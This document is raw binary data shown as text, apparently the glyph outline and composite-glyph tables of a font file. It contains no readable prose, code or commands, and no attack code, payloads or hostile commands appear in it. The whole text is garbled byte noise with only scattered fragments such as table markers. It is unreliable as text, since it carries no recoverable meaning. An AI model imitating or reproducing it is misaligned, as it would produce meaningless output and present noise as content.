1bG�bg��ƙ��_�"3lt�+:���`�:B�����]��zs#C%7tlI,=����Rl&7��v��[�('!63 ! '&54267654'&#"ky����gl�G�]1������qH^�"2tl�)9�l�����~\�<E����f�5�zs A):ms!G,=����[l&9��v��i�$'!632#"&54267654&#"O3v>u/Α��p7s
G@Ee
N���L��z]!���`lGC
+<@C
,A��+��+��)������	�g&B����	��'C����	�l'D������	��'E������	�l'F������	c�'H������	cl'I�����i�&Y����	!654'&#"!! �!�;���)9_d��1,
�q�]��� H,=n�d�6=~��6! !654'&#"!%Ry0�,�h
�->d^���:�l��`�:CH/@zs����S�! '&547!3267!y0�m���ԍh
�->d^�����S������`�:CH/@zs�����N�	'!3267!! '&547�����)9_d��1������qS���� H,=n����e�6=����g&Q`������&Qa�����l&Qb������
4�&Qcj�����
Pl&Qdj�����6�&Qf������6l&Qg���\�-"32676&7!"'&767672326?3#"'&;G^
DJK[
D����[Sl���_R=�%B�X%�%ff��LKV;75><75=�^6IB�c<PQEZS9�7;;7���CBDE��	��F"32676&!"32676&3&767672326?3#"'&?!"'&767672;G^
DJK[
DG^
DJK[
D�}�l���_R=�%B�X%�%ff��LK�8�[Sl���_RV;75><75=;75><75=�9Sc<PQEZS9�7;;7���CBDE}6IB�c<PQEZS ��%	!"3 &76$!���U��p�U�8���+0q7�����LmdPW������� ��&S��_��S�!	!2676&# !�2���5Upp�U�8Z�+0������^�mdPW#�������SU&U���_��G�) $76$!"3!�����0+KZ8�weppU��������WPdm�L������GU&W��_����!"&7>3"3!'�'Į��V&'	$!I�.��eЋ�x��.7 ���3#!7#737!!!6�*�$�#�*���6!���K�ܸ��r��H����!!!3#!7#7yMK���6���*�%�$�*����H��rܸ�������l&[�gv���!!!7#737!3�M���~��6L�*�%�$�*A�w�H�rܸ������l&]�
vL��#737!3#!!!��*�$�#�*�L6��~!��Aܸ��r��H���L�l&_��vI���3#!#!7#7373�[[!����1\\�i`���}�i`.��|�$%!!63 #"267654'&#"�
��"�gl�G�]3����^�#2tl�)966��~\�;E��y�zs A):ms H,=+A�32$76&#! )����'++��-�T:aU3!!�}������j��q����#ate������etacy�#";	! $'&7676$!����++��k��j����bU3!!�}�`T�������+ate	��eta)���	!!!7!�������I�0߁�۝�#)���#7!77!7!73!!!77�}"��r/��("}"H�x+V������r찃5����ܝ�qq��__��js373#'#$��o�����z��A2���������	[�&A����.�&Q_������&Ra
/����l&Rb
/�����
��&Rc������
`l&Rdz�������&Rf
/������l&Rg
/���`
)'!!!3���"�gr�����7�:��`�J\��g`#!7!!!!!!!6Y��+S(�z}���++�(�+�20�,���V��`����W��+{,3>%#"&'# 7!6&#"6$32>32!#3267%3267%2676&#"7}�a��8\�z���3F��q��5�~��5z�¼!&����w�s�^�E_`g�%Bp
LQe�MOMO>
f~~CD01kdkdŨŸUO..�f}un�LJDM�m)���`	%26+3#26+2)#73T�0��q&q�~'~w'���>�]Q?�(�3�&����&�������:�j������L���{F?���a326&#%'%R�#��?����JpuI@&s]k�����{�k�B��"%WK�}�LW$&���a'%#73326&+3J�E�01�l���\�*�</#��?��#'q*aFR����WJ����B���O5`!!!!!!)+�(�+�30�,��`����8��!{0#"'&'7327676'&+7327676'&#"7>3 �g+,���WWXV.7�;_>?	3,u|,v�EJ:9tMYcN1`�\�!�?@a�GH� #$*,"�%'<:('$���p��L�`!!!!Cf����9f`���L$�����`!#"&'3267\ht4���K�A2/`4ey`����� !"!����?�`����`
!7!!'7j=�Q��7�9��LoQ�`��i������C����:E`���?\`���J��5{R�����K{W����6&    �.����.�Bq����qx(��~~�|����DDF(@�%!>76& !&67 R��@M����%��;y*�;A@J�P����T�@T�V0V����X�[����	+>76&#"3267>3 '# >7'7�!*	��)B�$.	��+D�n[�{�8N;�zy^�~��8P<~t�K/w}HO0u|�CD����j�K�m�FEE!l�M�pW��^{&/=7!6&#"676326763 !"&'# %32767276'&#"WE��q}}�5���~�cd7brs�"��l��ކ�Ackk����0/`hLM%3wOP>.-wuOO>--+f~~!"D0)(WT**���؜�RVW():�f>?;:n�UVBVUUV��VU/�{
6&#"!! y[uw���6�"!	6/����8������c/
3267!! 	[uw�u6�}����6/�������8��D`
!2+!32676&#����"#���zK��9[McFM`���������MFGL���`#03#"#"!6767&'&76763!!�O4O[-."!%K313���F;;Bm++|}����v HI  �G��>a/0!GHo�KJ����`
"";7!!"'&76767&'&'!3�[-."![O4+Pf��_`GGy<)) ik[%'K�  IH ����JK�oHG!0/a>��G��E`����L`!3267! &7f�@^_f�g�/����/`�`vddv��`����A{z%!323267>76&#!!#�TFp[.�z'4	����E`E�R:&��hF.p�f��P�l��P+|!7373!323267>76&#!!#P.�.�-�-
�TFp[.�z'4	����E`E�R:&�������|hH.p�f��R�n������{%#!2676'#!!27>'!!,
 I1A5%&����Fwx'�5Fۺ<; +�5F�F!&UgtY;(88]p�eehFNN3h  �4h�����m`Y���j`Z�����`]'���`%2676&+7%!!!"&'4~�	}��0��2�1��W4O)% ���|�q8q��,)*+����SLi��--:;?j`3!!?�Q9��`��������`N?H`!!!!/��������`����}����D`��`!!6767!!7&'&7fQ6
ufuHQfQ/�|�/��/�\�/`�au2
X��
2u��a�vR��Rv����`������
!#!#!}��Y��!��?4�D��3M���]�3'!!!!!!7!#f��B���d��}&��d&�Ȃ�Q��V��������%�|�
'27676'&+27676'&+#!!2:""	:�#GI+*
 J�+�J !hg��m�m�MNP�,+���76�,66Oy<;D54t=V%���	327676&#%!2#!�dW�[[������>7$0.MX��=�AB}|��6A9�]_JJ9A6%�V�!!!!!!���d��}&��cࣜ���%�d�!7!7!7!7!7d��c�&�}��d������@���%#"'&767632&'&#"3276?#7!ceeh�ss''���^SSF!HIJN�]\>=�&"! �z�'ut��tt�(HH��HH	��%��3!3#!#��>f>��E��E��?��b��%���3#�����P���
3+732767��np�1 %L..�
�MN�&%I%�1�
3!	!#��;�������@���1�t�HI��%���3!!����c�_�%���!!###�5/4��w�Ϛ�w��A���d�=��%��	!3!#��o���o���=��=��%��	#!3��o�;���o��=��D��=@��"32676&'2#"&7676Zo�^op�^R�jj'(�����('��S���������st��ss���ts,���>"2676'7#"'&76767&'&76767&327676'&i�=>10�x/&�X_=>lo00{|��ddDFwf(+	vQ�F&:/$jTC8
.-!!>=!!B=?!�a27kG/064Q|@??@|Q4604,=8'W !'!C<%���!2+#327>'&#���RSܴ�8�w.�G,-! G�GG�������p%�w�
 27676'&+#!2!'.#�L&&Lf*=�s�LLn`0 !V��J>;m9:ו��D78xSj
$#I��>.8���!!#!Wc�ȃ���_�g���3327673 '&7��bWV0.b�b"uu�fST"�h,--,h���VWWV�w���333!!w�,�,���/����`��`��|��L�J
4"3276?#7#"'&546;765654'&#"7>32�T+,-F./�N�7>>He:;�Ņ('NFAB="G�O�LM�."%&CL��]8..Ow�%

�0/b.c�R+2676'&#"367632+3267#"&�GP		3@44�N�9?>Qn88a`��&%YI�;!L�I���**&)(=Lf]998[n430��m��73#7#"&63227676&"���;>=J��@ЂI32��018�01�\��[8�"��3//ZZ^//ZZm�[5=J#"'&'#"'&?!6'&#"76763267632+3267%32767%2676'&#"�N�>^@?#:�M�QP!*)YGNOW"UTSOq�!MLMWz<;a`��&%YI�;�d<<A/0lGP		3@44�,+,YY�9F$#'�
<8<77^n430K9F!!=d**&)(=(�j&"327654&#3>32#"'&W778U78<����I3rCwFE-9IHRI23�HGr4GFn9<�j[g��74CCtHED8F%$b��$27654'&#"3#7#"&54767>32�W767U87<&I��498Dw�.9�SHfGHr4GFn9<�P��[7�tHED8GH4d�o%2!32767#"'&5476767632'67654'&#"a��*)RGPOW#SQRT�ZZ6A[Zn�TT�3B/.� =&�

DC|HCD8C#"CDs2>,  ?m�b!7!6'&#"767632#"'&73267m*)YGNOW"USSP�WW"!|{��QP�
<<B`�9F$#'�
VW��XXYYR9FB=O��2&'&7>32&'&#";#"32767#"'&7676A��7686#34%<'(
 JNJR+/%$I18>1<<<:�KK10�$#7TP�		0~" �01a?((K��2#"'&'7327>'&+7327676'&#"767632A��7686#34%<'(
 JNJR+/%$I18>1<<<:�KK10�#$7TP�		0~" �01a?((M��%4#"'&547676763273#"&'732767"327654'&N6pBxEF.7HHRK23#�w$��Az;!6568p<<5Sn9R8764EDw?@?8D$#8]�ߨ��+*]��d9BBc;��3##73����#����(��
3%!	!#��g0
�f*���<��(�����*��367632#7654'&#"#67654'&#"#367632+4CBH^76T�G"A--D�H	#>^D��5<<@Jh�:..Q��GF/0W��G* bT��s\6BB�e&+73276767654'.#"#3>32[R���i@=
(G33D��?~Fz1��}��KR10U��s\74B+C&d�}#"327654'&'2#"&54767676W99>:X89(��87@WXl��6?XW�GFm<>GGn:��{G�7B"!�{FDC8A"!-�� 67632#"'&'07327>'&#"�:878�XYD~�7541##,-5^@?&*)_2114�	WW��WW	�11�11
���4&#"#46320�NJK'(�η�gf�Z`00Z��WW�����327653#"'&5�'(IK('�η�fg�Z0000Z��WW����j&#3>32#"'&"327654&H��3rCwFE-9IHRI23�W778U78<���b\74CCtHED8F%$�HGr4GFn9<����3#;#"'&54767#737,&� �:-u �f65:op(�����	�&&H
��V�w3327673#7#"&5476`R�G)F32D��:�F`j��� 
#00V4��\66ZSp��!7323326767676'&#!7!#�R,F9WVVL./`��+�,f4
WX��	
?$$��.23=m99`�"+#"'&7332673327673#7#"&!8ABFz11S�G2@ZC�G
4A-.D��6;<AIb:BC~��C^Y4��h/0X4��\5>���33#��[
�a��J������P6676'&#"327676'&'766767632#"'21	9E""/IP&'A#oj��fUJI01};(
+5AZ1M]]��F@�1#/! /0Y�Y/0&'P0���PBH1e4.9/HqdJIk��O��3#7&'&+732�7�e.�.h*f+X&S�������1	�*!�(-&#"#"'&76767&76!2327676&'&F�k
��L]yx��WWx'+T#L�S�k% 3!GH24J=`'74?K��XWWX�uZ,Y�'��
1XW2122TTTj��!2#7$67637676'&�_KW 6��/�/��6xcj%$M*5�#*^	HS���$��$�WH�/0F�9��v�6�K''���t73;#"&/#'&'&+732٬�8"Fish��a9F�S669�H�-�Ti���.�'(m���g
W�d��0��u�d��V��ws��d����s��d�����Pw��d��O��s��d���j�$ '#>2'4#"32676D��G@�iѣdxK0
�xI_yH_��k���� 	T6\*1={_Y!{^Y"��j��y��d����ts��d�Fcy(>32#"&'!32.#"2676&#"3]�u��11���u�7 ���5��]7S�[�� Vo�Ysp�\b\������\c�� !��65��������������%���?`%!737#737#7!#3#r.��.�'�&�1�..�1�&�'�����������V{$/!&'&!#73!>33#"&!3276?rN,�,�r����*�Vf ]�u�eD�*�;���u��4-stL4wT0HI0T�+��w���b]�o����]�P4UT8��F�!!+7327675!�f�g2(��ͱ.>f//�����wv�..t0�b#367632#"'&"27>%�z�9=>I�AB8fe�I34�/0"�/1"�\s[8\\��\\�//�////�m�&'&#"3267#"'&7632 (+-1_=?"V_5d. 9797�Z[<}|�845��
11�b�	WW6WW	sM.;276#"&'&#"63+"#"''67&'&7632�!"]R49),,1_|
Sj� �,~	A*[<}|�845 *��
bXE-c��@0&)W6XV	W�u0&'&#"327676567#"&767632''7'37w"  J0/
@HI01�;xw���mn�`�	�`�:��<%%DS^00Z�LHHS�WW���KJzBH6qA@H63��1#"'&'7327676'&+7327676&#"767632
J `^�:896*831I-/'#QJNJ"(><%n);;97��)*�((?a10� "~(�PT7#$v��#"3###7376763�}0	��^�^pp	IK��&,���,f11�M33#+732767#73Y�^ppMQ�p'@����v?C�B�u��)#"'&7>;#"&'73267"3276?o9zJ�CĆ��nz|�Bx;7569ox?F`IF/0"64Z[�~��̗PP�V\�\TV-,.-T�w��3327673##"'&wK�-	*F31<��B>?>Ez32�~>�R>01V4��P7BCH�D3#33##7#73I� ��50�0���Q��m��mb��
3?'&7��H<W~:8��L�DC~0��!73#7!#1��F��~F ��l����0��!737#737#7!#3#1������~~~ ��qm����mq"�%3#33"+01"+5&7637&#"3276"� ��jj#IDQ�G	�! „W(B	:A�Q��vX7C��w*!0��
3;#"'&7��Ai��78��K�CCr0�33+732767#���PQ�o'@
��(�sBC�=0�g3!!��[4 ���0�G�067632+7327676&#"#6&#"#367632;7A@Fz42FSQ��i@
G 2@X<�?4A,,<�z�3;;AId�:BC��}CC�AmB<^Y��Gh</0W��s\6>w�0,#"'&7332673327673##"&<7AAFz23J�?
1@X<�?4A,,<��@3;<AId:BC~��C^Y4��h/0X4��K5>�0'#?676'&'&#"+7326?3>320J�,	G12"NQ��i?<`�=|Fz32��>�R01U�{u@C�4K{�\74BCG��"6'&'&#"#367632;#"'&7t
	A71<�z�?<=Gy42H&Ah��7<01*[��s\9BC��K4�CGn0�a	!3!#�{G�z��{G���l��m��m�u2#"&6"!36'&+32762�UV<xw���<�K1%�0KI0WW��WW�6��0$==$0�*00l��&/!737&'&7676?#7!#'67676'&����AVwZ���~�?VwX��C*0JC'01��`AW��WAg��hAW��WAa�Z0ZZ0M��0ZZ0T�<&'&#"#"';#"'&?327676'&/&'&7>32D@@<A""*;(�33]\�#$Ah��78=DDIB%%C&�43��?DB��
-,`d327�CC}o)
.-\d`�%#"+732676763%}/�QQ�p'@:�IK��&�asBC�4K�f11����3#;+732767&'&7#737%"��4:tMQ�o'@k(/4pp"�����,�v?C�C,1w
��a�A*##7#&'&'&75#733!3#3276A/�=|EZ$3��5�	5�5��
G1�m�[74Cm?2M6��m	!
0ob�&27676'&'7!##"'&76767#7!�8-" �34(S�2%}~��Z\4<B�Yq+-A<O1111O<A/(�n!K<Y�XXXX�[>G%na�N3327673 &7��I;< I�Ia_�����BBx���BB��b�)#'&73?27676'&'7�,qr�W~:8H�H
J?:-��!J=X�XXDC~q��_71P<@/(f0�S##3S�\��������Os0�!	!!!7!�g�Js����������XH��!!;#"'&7!7!�g�Jt
	Ri��76�k�������F�C@u�X8M:!3676#'7!7!276#"�g�Ke	ci��Q}������\R<���m��ON�X��- �;!%!7!#"&'7327676'&+��g��e4K*'wx�H�C ?@@Aa89.0gv�؏��
?:P|A@�79m��!327676'&#"2#"&767��DB6/.DA7,ח?@Rnm��~RmmG?DD<�8<DD6>ivw�^ww��wv�"��f!73!�CDz���������d�f3!!�d��!��f���C�f!#'!�dv�����f����"��f!!#�dv!��Dzf���
��f	373#'������򶲛��x�������<f	#'#373����J�����x���{���'�S$��#��{'�D��+�k'�u%��?��j�'��tE��+�M��&%����?�Mj&E�.��+����&%����?��j&E�&��J�o�k'��u���L�o�f&�v��+Jk'�ou'��J���'��tG��+�MJ�'��'��J�M�'��G��+��J�'�x'��J���'�EG��+�rJ�&'z���E�o�&Gz��+�J�'�='��J��'�
G��+\u'��(��J��0'��H��+\u'��(��J��3'���H��[�a��&(0��M��J�a{&H��M��+�;\�&(����J�;{&H�'���+�o\k'�u&(z���J�oD&H'��z���+\l'�v)��fR�'��tI��J��91&*����)�Fu&J����+�l'��v+��?;�'��tK��+�M��'�k+��?�M;'��K��+�k&+j�:��?;k&KjF:�����o��&+z�V�����n;&Kz�z����+���&+����?�;&K�h�����#�<��&,��o���#�<�'��oL��+u&�,��?�:'�m�����+�k'�qu.��?��'�duN��+�M��&.�E��?�M�&N���+����&.�A��?���&N����+�M��'��/���M�'�_O��+�M��'�u<���M�O'q��;=��+����&/�����t���&��O��+���'��m�&/�����'��?�&O��+�k'��u0��?�g&Pv���+�l'�v0��?�'�w��P��+�M��'��0��?�M�{'�/P��+�k'��u1��?;'���Q��+�M��&1�k��?�M;{'��Q��+����&1�4��?��;{&Q����+���'��&1��?�;{'����&Q��J���u'��2��J��5U'���R��J���}'��$2��J��53'���R��J���u'��2��J��50'��R��J���u'��2��J��53'����R��+�k'�"u3����Vjg&Sv���+�l'�v3����Vj'�K��S��+{l'�4v5��?\'����U��+�M{�'��5���M\{'�_U��+�M{O'q';`���M\&qU�a��+��{�&5�,���s��\{&U������Rl'�Cv6����{'����V���MR�&6�����M{{'�bV�����l'��u'�Tv6����u�&V&�!Wv%�����m'�P6������'����V���MRl'�9vh���M{'��i��b�l'�v7��X�'��tW��b�M��'��7��X�M�'�W��b����&7����8���&�OW��N���'��v�&7�����'���&W����MT�&8����{�Ms`&X������;T�&8�U���{�<s`&X�����aT�&8��M��{�as`&X�SM�����Tu'�\8��{��sU'���X�����TY'�h8��{��s'���X����m'�}u9���m9&Y������M��&9������Mm`&Y�����	%r&:�h|���jm'C�Z���	%r&:�h|���jm'v�Z���	%k'j�::���j1'j�Z���	%k'��u:���j'���Z���M	%�&:�W����Mj`&Z������k'�<u;����^'���[����k&;jM:����^2&[j����yl'��v<���F'����\�����k'�Ju=�����g&]������M��&=������M�`&]���������&=�������`&]����?��;&K���Xk&Wj��:���j&Z�����F&\����#���&D����fR�'��tA��$)'%7#37>3!#&7���_�Q�1�$��-�L$#
5�B���V���N���D��n��#$)#737#737>3!#&3#��������$��-�LG
���������8D�N��v�@#"&'32>54./.54>3654.# !>32���sP;W\Dl�M?T��o��e='!-H0$;:'Pug%9z۔����>���#��Do��eLy'*P6ETRG��</#9PT]O&2W86$2M'
W�zE������1�� ��$I���{�M��&$�)��#�M�{&D�����{�4&$��u��#����&D�9���{�u'�4$��#��\'����D���{u'�4$��#���'���D���{��';$��#��/M'���D���{��'�4$��#��'����D���{�M�k&����#�M�f&������{�u'�B$��#��+'���D���{�u'B$��#���'��D���{��'P$��#����'��D���{��'�;$��#��
3'����D���{�M�|&�����#�M�-&�����+�M\�'��(��J�M{'��H��+\4&(��u��J���&H����+\m'�u(��J��9&H����+pu'��(��J���'��H��+.u'�P(��J���'��H��+e�'�(��J��aM'�H��+\�'��(��J��/'���H��+�M\k'�����J�Mf'�����+V4&,�Fu��?(�&����
�M��'�X,���M�'�_L��J�M��'�V2��J�M5{'��R��J���4&2�u��J��5�&R�a��J��u'�t2��J���'��R��J���u'��2��J���'��R��J���'�2��J��kM'�R��J����'��2��J��>'��R��J�M�k'�V���J�M5f'�����P��Ak'��ub��Q��*f&cv��P��Ak'��ub��Q��*c&cC����P��A4&b��u��Q��*�&c����P��Am'��ub��Q��*9&c�6��P�MA'�Vb��Q�M*�'��c����MT�'�8��{�Ms`'��X�����T4&8��u��{��s�&X��������k'�muq��u��]d&rv���������k'�muq��u��]g&rC������4&q��u��u��]�&r�^������m'�muq��u��]9&r������M�'�q��u�M]�'��r���yr&<��|���Fm'C�\����My�&<�����F`&\�[���y4&<��u���F�&\�4���ym'�Iu<���F9&\�}+�	!!!!!M������8�U�N��N���!!7!3#!!!#73Cff�(�����(�rrr�+�+���N���G&F	����N���G&F	�}��N���f&F	����N���f&F	����N���f&F	����N���f&F	����N���m&F	����N���m&F	�~���{�G&'	�����{�G&'	����<�f''#	������f''(	̶��;�f''J	�����
f''�	ͧ����m&'~	��d��)5m''�	�c��7��(G&J	�]��7��(G&J	�>��7��`f&J	�<��7��Sf&J	�#��7���f&J	�n��7���f&J	�7��?:G'+�	������@G'+�	���<�f'+U	������f'+N	̶��;f'+�	�����Pf'+�	ͧ��f�VPG&L	����f�VPG&L	����f�VPf&L	����f�VPf&L	����f�VPf&L	����f�Vxf&L	����f�VPm&L	����f�VPm&L	����?eG'-�	������qG'-�	���<	�f'-O	�����	�f'-N	̶��;	Ef'-�	�����	{f'-�	ͧ���Cm'-�	��d���Um'-�	�c��W���G&N	��Q��W���G&N	�[�����f&N	������hf&N	�8��W��?f&N	����W��/f&N	͗��W���m&N	��X��W���m&N	�R��?�G'/�	�������G'/�	���<f'/=	�����f'/N	̶��;�f'/�	������f'/�	ͧ����m'/�	��d����m'/�	�c��J��5G&T	����J��5G&T	����J��5f&T	����J��5f&T	����J��Wf&T	����J��qf&T	����?���G&5U	��������-G'5�	���<��	{f'5�	�������	�f'5�	̶��;��"f'5�	�������^f'5�	ͧ��o��(G&Z	����o��(G&Z	����o��(f&Z	����o��(f&Z	����o��jf&Z	����o��vf&Z	����o��(m&Z	����o��(m&Z	�����G':�	����
'f':�	̶���
Ef':�	ͧ���	m':�	�c��D���G'	�t^��D���G'	�o^��D���f'	�j^��D���f'	�`^��D���f'	��^��D���f'	��^��D���m'	��^��D���m'	�}^���G'	���>x���\G'	�>���<	�f&	��>+�����	�f&	̶>6����;Lf&	��>�����f&	ͧ>
����m'	��d>l���Lm'	�c>���N���f&F	����N���fA��7��(f&J	�F��7���fB��f�VPf&L	���f�VPfC��W���f&N	�l��W��|fD��J��5f&T	����J��5fa��o��(f&Z	����o��(fb��D���f'	�y^��D���fc��N�V�G&	p��N�V�G&	p��N�V�f&	p��N�V�f&	p��N�V�f&	p��N�V�f&	p��N�V�m&	p��N�V�m&		p���{�V�G&	
	����{�V�G&		���<�V�f&		�;����V�f&	
	�@��;�V�f&		�b����V
f&		�������Vm&		����)�V5m&		����f�VPG&	���f�VPG&	���f�VPf&	 ���f�VPf&	!���f�VPf&	"���f�Vxf&	#���f�VPm&	$���f�VPm&	%���?�VeG&	&	�6����VqG&	'	�B��<�V	�f&	(	������V	�f&	)	����;�V	Ef&	*	�����V	{f&	+	�L���VCm&	,	����VUm&	-	�&��D�V�G'o	V��D�V�G'o	W��D�V�f'o	X��D�V�f'o	Y��D�V�f'o	Z��D�V�f'o	[��D�V�m'o	\��D�V�m'o	]���V�G'	��	^����V\G'	�D	_��<�V	�f'	��	`����V	�f'	��	a��;�VLf'	�4	b����V�f'	�p	c���V�m'	��	d���VLm'	�4	e��N���F&F����N���&Fq���N�V�f&	fp��N�V�y&Fp��N�V�f&Ap��N���9&F	����N�V�9&	�p���{�k&'�u���{�O&'q;��MYf''�	ޠ�����f���{�V��&'	�����
G	����V����
G!727#�8����Ge��z���9���7;Rm'�buj��f�VPf&	j���f�VP{&L���f�VPf&C���f�VP9&L	����f�VP9&	�����Tf'+�	ޠ��.�f ���yf'-�	ޠ��:�f!��+�V��&-	�X��}�$f'	���	�,�����f'	��
	�0��d�Rm'�bu	���W��NF&N��V��W��=&Nq�d��W��7�&N	�X��f��!�&��W��d9&N	��d��W���m&N	��P��+ek&/�|u��+UO&/q�|;����f'/�	ޠ��4+f"����0f'	��	�8�����f'	��	�H��d�Rm'�bu	���o��(F&Z����o��(&Zq���o��(�&Z	����o��H�E���V�G&V	�����V�G&V	����o��(9&Z	����o��(m&Z	�����yk&:��u���yO&:q�;����f':^	ޠ��(�f$����G'7�	���7;��&j	�Fl��7;������fC��D�V�f'o	r��D�V�`'o^��D�V�f'oc��D���9'	�w^��D�V�9'o	������;f'5�	ޠ��9���f#���^f&	ޠ>������f%�����V~�'	�f>����Pfv��#G#3$7#����8G��ze3���@
rq��991��0!!mt9������3���	�1��@�q��991��0!!d�3�K���1���@�q��991��0!!d$3�����1���@�q��991��0!!d$3����������@�q��991��0!!
3�������1&__J������&BB�X�9@:�S���91��0KSX��9Y"!3;��:'ժX`���X��5@:�S���1��0KSX��9Y"!#wT8��ԩ��`�����5@:�T���1��0KSX��9Y"!#�T8��ժ���`�Xk�#k;Ԛ;��`�X7�f@4
	:�	S
H
������991�<�20KSX��9��9Y"!3!3X��7'ը����:'ժX`����`���X��b@2
	:	�SH
������91�<�20KSX��9��9Y"!#!#�T7��ը�T8��ԩ��`��`���
�b@2
	:	�TH
������91�<�20KSX��9��9Y"!#!#�T7��ը�T8��ժ���`��`�XH�###H7 ՟7�8!ՠ8��`��^N�;�[@0:��S
�	
���9991�2���20KSX����Y"!!!!!7!�JJ!-������-#����/���;��@F
	:X
���S

	
��.�9999991��<�2��<�20KSX������Y"!!!!!!!7!!7!�JJ!-��X#/��J��I��/!X��-!���<�}���'��`��2��1��0467>32#"&'.'535�II�245633�JI�326�J�235624�IJ�336633�'AF�'Ao�H^�!!�hK����}^��!!!!%hK����hK����}��}^�y@=
	:T

		�������999991/<<�220KSX������Y"!!!!!!%hK����hK��BhL����}��}��}�oAe!!/1��e�q��5�#/3?Kb@7eFe:a@e2e$a0*`42dL1C=3'!	-!	'I7'C=L���������991�2�<<�2�2���202#"&54"32654&!"32654&'2#"&54#3!2#"&54"32654&	ۜ���ם��Vn=>Wm>�$Vo=>Wn? ����֝�	�����k����֝��Vn==Wn?���魍����WW��UW��WW��UW����ꭍ���
���ꪍ����XY��TX	q����#/;GKWc2#"&54"32654&%2#"&54"32654&!"32654&'2#"&54#3!2#"&54"32654&
}����ם��Vn=>Wm>�@����ם��Vn=>Wm>�$Vo=>Wn? ����֝�	�����k����֝��Vn==Wn?���魍����WW��UW����魍����WW��UW��WW��UW����ꭍ���
���ꪍ����XY��TX`�!���`u����`��'
w
��`��'
�&

wJ`��#!�`u��J`A�'
 |
 ��J`��'
 �'
 |
 �<#%#��������#}��'@��91��90
7�1��+�Z%'����q�N��'@��91��990?-7N1X�+�#��������3�		'	7	!!!!!!!!1�N���N�N���N����h���h��h���h���N�P���P�����N��t�}�}�e�}�}����	�'�n��o�!7>76&!>32!3#�J6J>
@����er=��]��%lpKP8	�,EhE���->U1FE��"B:*(ǿb�Y9>K-��d������MB0����_ $'5 $�C�J�?����ơ�SPPS�EFE��&�j&$ 56$ ��:�F�;�����&FEFE�SPPS���_�#3	#�ۊ@��� �v����#�"��)���'
�{'
�{
���m�!!�w%�����������d��1��0#3����
����!!!!!�}-��bl-��}T��"�^����!7!!7!!7�}��+m����+}��������^���H�&"�"������&"�����d�'�n"���=_327!#"'��*�'���f��m_�{Cu�;S�2###��h:$8�������:ՊNeP_���������fS3+"&'.467>3��،I�326535�IS�1633���235��fS#;2+r�،I�535623�I��532���336��)��k
�{s���`	#!8ճ9�I��I����t1�}�������j&
+
*�����#
%#'-73%
%#'-73%���=�����=��=�
=��=�����=��=�
���q����q��p���ߋ�q����q��p������Bb�'�'P�����d��R#"'&'&'&#"5>32326��搬�
錄ܔ�吙�錂�R�PE:=MS�PE:=K�����2�v
+�#��
#'%!7!'73%!!�;�;��q��'1���;�;q��1'�Ю����1؎��؎�1��َ��׎��)!!!�@^@�@^@�A^AOJ���pJ�� J����`t�'
�&
'
w
e}+5�!!!!!�:,:��:,:h;,;��:,:T,��,��*,���,����%B!!!!!�:,:>;,;}:,:��:,:�:,:T,��>,���,���,��p,��?��!!!!ehK���hK���}�1�}>���0!!!!!!!!�iJ��iJ����iJ����iK�����������t��XZ�%!!!!#!7!3!;,;}:,:��:,:�:,:Sz�z��.rz�zr.�,���,���,��p,��\��r�s���?�w!!!!!!�hK���hK��zhK��}�}}�}���}?�w!!!!!!!!h6��h5���h6���h6����a������<�0�
6&"3276%#"'&767632B'�.,LK.,)wy��KM))wy��MM@��@@��AAAA��oppq��pqqp��3#3#�� ��z��Q����
	333##7!7���S�e����y!���������$�$!!>32#"'&'7327676'&#"�L�q8�ONtu�NIIG!C@?<S;:
**V3<<Hߞ�ML��KL
�('&AB&&K�9�-"327676'&&'&#">32#"&767632�>&&>?&&35111jEF.c8��po���()���?::9$%IJ$%%$JI%$��56i�{�PQ���uv		i�Y�!#!�����F�y�6�)�4�
,:"32676&'&'&767632#"'&7>732>'&#"�C**CAS9�O!!b`��MK37V[#&gf��OOs�
97F79#$!!>=!!B=>BF00Gi8777jL+/45P|@??@|Pj�26d0��)732767#"'&7>32#"'&27>&#"04c2iEF/237�FHߢ��((���A:9>>&&0>?L��56iJK|�����vv	�$%�JJ�%$���k!!#!5!hH�����Ik�ۅ��%�%���F!!�'��F��A��!!!!�'��'��ń{�cA#&'&67673z�F0FF{�jAA0�}|�}~�������67>'&'3kAB07�E/FG|����~}�|}�/�K#?676'.#"#367632KJ�,
*H23<�y�>?@F|44��>�R01U��s\7BC��<��0T
V�d���)C{�d��\sTt�d��R��jTu�d��C
X�d����$C
Y�d��K��9T
Z�d��iYC
[�d��)��4T
\�d��0��T
]�d�����
^�d���%��
_�d�����)
`�d��c�iAf
a�d�����i�f
b�d��L��J���d��d��o���d��d��}���d����js��d��m��b���d��5gr�d��(�g��d���g��d��*����d��/K�
c�d����j���d��������d����%��dmZ�%!!!!!!# !2.#"3267N+�)�+�32�*��QX�]��44�^�G-F�V��"!��V�[`������**99*)�73Ʈ��36J���9*09&'#7&47676?373&'2767#"'#&+�;4>�o�jgz���$�&22
	2�M:45�N\ii�=��j�B8�K	",�47���=��SELQj�

��+�f%$N��12>�*E���
�		&�
J����/6767# 476$32.#"!>32.#",/i�=��j��jhzW�m�q:Y�g��Z"�- ;�m(4 K+t�	$N��12J�=���78��ID�����bǭ`e������!!!!3#!#7��9�s6g:��$w%v3�3�%����ݹ������#!!37#737#7376!2.#"!!!�$3��4�$�-��-�5��\�T7;�G}FBa-��d-¸��
��W�z|��%(=;z�W�=�B�/#6'&#"!!676323632!?6'&#"!��Y6$Rh�k���h V^]htNL�z41��,���rNeJ8k�����75����`�`/085cs���VH)v75TR�������#7#737#73!3!3#3#!#!3'l,a!��&~,~&~U�<�UnU}&},}&}U�R=�U��U�,b!x��������J��J���J��J����+����&^32654&##;7332654&/.54%+!!23!!632.#"!"'&'!"&5467�RՈ�gaZ�\=H
FNntqr@dA����,RY���d�#�x5>h=ns�s�q5i�]js@^Aٮ���sx,-�Ӣ�\��_�zQV���&
.(D)
64$((��91iOUM���kc�>��
%��2473$.����	��@!�-��	<�F2676&+!.+!! 32676&/.76$32.#"!"'&�y{Xy�K!�fn!a^mn�"L'�)��Ld'#[ektiv	@j>� "�c�z5j�_fm
B_=�!#���or'?ZgfX����spR����֔�-�v/:90/
���� ��0035+.	#����/	%�"&)-1'#73'!!7!!7!3#3#!#!#7!73'!!7�{X
q
�bs
�bnbXz3�����D&����D%����3�G�~3@��3�v�������v���V��V���B�vv���B�vvvv������
! #6&+!% 3;!�HM�M+A��������IM�M*?��=����Y���*5=Y�������J���&��/�����+~@B($�+(ss�"d`,$%#,%#+"%	
#%
,������9999999991���<�2�2�����2990%#"'#73>7#73632.#"!!!!3267�|�f���%�X��V�b��i�l7R�fp�D�V�
